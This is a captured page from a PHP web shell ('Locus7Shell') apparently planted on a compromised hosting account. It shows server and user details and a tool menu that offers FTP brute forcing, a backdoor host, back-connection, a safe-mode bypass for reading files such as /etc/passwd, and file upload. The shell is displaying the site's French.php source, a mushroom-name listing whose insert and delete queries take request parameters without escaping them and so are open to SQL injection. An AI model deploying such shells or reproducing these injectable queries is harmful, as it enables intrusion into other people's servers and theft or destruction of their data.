Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     French.php (4.06 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<style type="text/css">
<!--
body {
    margin-right: 0px;
    margin-bottom: 0px;
}
.Style3 {color: #FFFFFF}
-->
</style>
</head>
<body>
<p class="Style3">NOMS FRAN&Ccedil;AIS</span>
<table width="800" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td>
         <?php
include ("connect.php");
$get mysql_query("SELECT * FROM presentation WHERE ID='4'");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$texte $row['TEXTE'];

if (isset(
$_SESSION['identifiant']))
           {
           
            if (isset(
$_GET['valider']))
              {
              
$text2 mysql_real_escape_string($_POST['text2']);
              
$num '4';
              
$query mysql_query("UPDATE presentation SET TEXTE='$text2' WHERE ID='$num'");
             echo 
"<p class='Style2'>Modification réussis</p>";
              
$get4 mysql_query("SELECT * FROM presentation WHERE ID='$num'");
              while (
$row4 mysql_fetch_assoc($get4))
               {
                  
$texte4 $row4['TEXTE']; 
                  echo 
"<p class='Style2'>$texte4</p>";
                  
                   }
                   
              }
              else
              {echo 
'<table><form action="index.php?page=French&valider=1" method="POST" enctype="multipart/form-data"><td><tr>
           <textarea name="text2" cols="80" rows="4">'
.$texte.'</textarea></tr>
           
                    <tr><input type="submit" name="sup2" value="Enregistrer"></tr></td>
                    </form></table>'
;
                    }
           
           
           
           }
           else
           {
           echo 
"<p class='Style2'>$texte</p>";
           }
         
     }

if (isset(
$_SESSION['identifiant']))
           {
        if (isset(
$_GET['ajout1']))
                    {
                    echo
" <form action='index.php?page=French&add1=1' method='POST' enctype='multipart/form-data'>
                    <table><td><tr>Nom: <input name='nom' type='text' value='' maxlength='70' /></tr>
                    <tr>Genre: <input name='genre' type='text' value='' maxlength='70' /></tr>
                    <tr>Espece: <input name='espece' type='text' value='' maxlength='70' /><td>
                    <td><input type='submit' name='sup' value='Ajouter'></td></tr></table>
                    </form>"
;
                    }
                    else
                    {
                    if (isset(
$_GET['add1']))
                    {
                    
$nom $_POST['nom'];
                    
$genre $_POST['genre'];
                    
$espece $_POST['espece'];
                    
$query mysql_query("INSERT INTO french VALUES ('','$nom','$genre','$espece')");
                    echo 
"Ajout réussi
                    <META HTTP-EQUIV='Refresh' CONTENT='0;URL=index.php?page=French'>"
;
                    }
                    else
                    {
                    echo
" <form action='index.php?page=French&ajout1=1' method='POST' enctype='multipart/form-data'>
                    <div align='right'><input type='submit' name='sup2' value='Ajouter un nom Français'></div>
                    </form>"
;
                    }
                    }        
            }
            
    
?>
</td>
  </tr>
</table>
<div align="center"><span class="Style2"><br>
  </span>
  <table border="1" cellpadding="0" cellspacing="0" bordercolor="#666666">
    <col width="276">
    <col width="101">
    <col width="119">
    <tr bgcolor="#000000" height="20">
      <td width="303" height="20" class="Style2 Style3">NOM    fran&ccedil;ais</td>
      <td width="125" class="Style2 Style3">GENRE</td>
      <td width="132" class="Style2 Style3">ESPECE</td>
    </tr>
    
    <?php
    
    
if (isset($_GET['delete'])){
             
$id $_GET['id'];
             
$query mysql_query("DELETE FROM french WHERE ID='$id'");
             echo (
"<p class='Style2'><strong>La nom a bien été supprimé.</strong></p>");
             }
    else
    {}
                     

    
$get mysql_query("SELECT * FROM french ORDER BY NOM ASC");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$id $row['ID'];
    
$nom $row['NOM'];
    
$genre $row['GENRE'];
    
$espece $row['ESPECE'];

     echo 
'
    <tr height="20">
      <td height="20" class="Style2"><div align="left">'
.$nom.'';
      
       if (isset(
$_SESSION['identifiant']))
           {echo 
" <a href='index.php?page=French&id=".$id."&delete=3'><img src='image/delete.png' width='15' height='15' border='0' /></a>";}
      else
        {}
     echo 
'</div></td>
      <td class="Style2"><div align="left">'
.$genre.'</div></td>
      <td class="Style2"><div align="left">'
.$espece.'</div></td>
    </tr>'
;
   
   }
   
?>
  </table>
</div>
<p>&nbsp;</p>
</body>
</html>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0048 ]--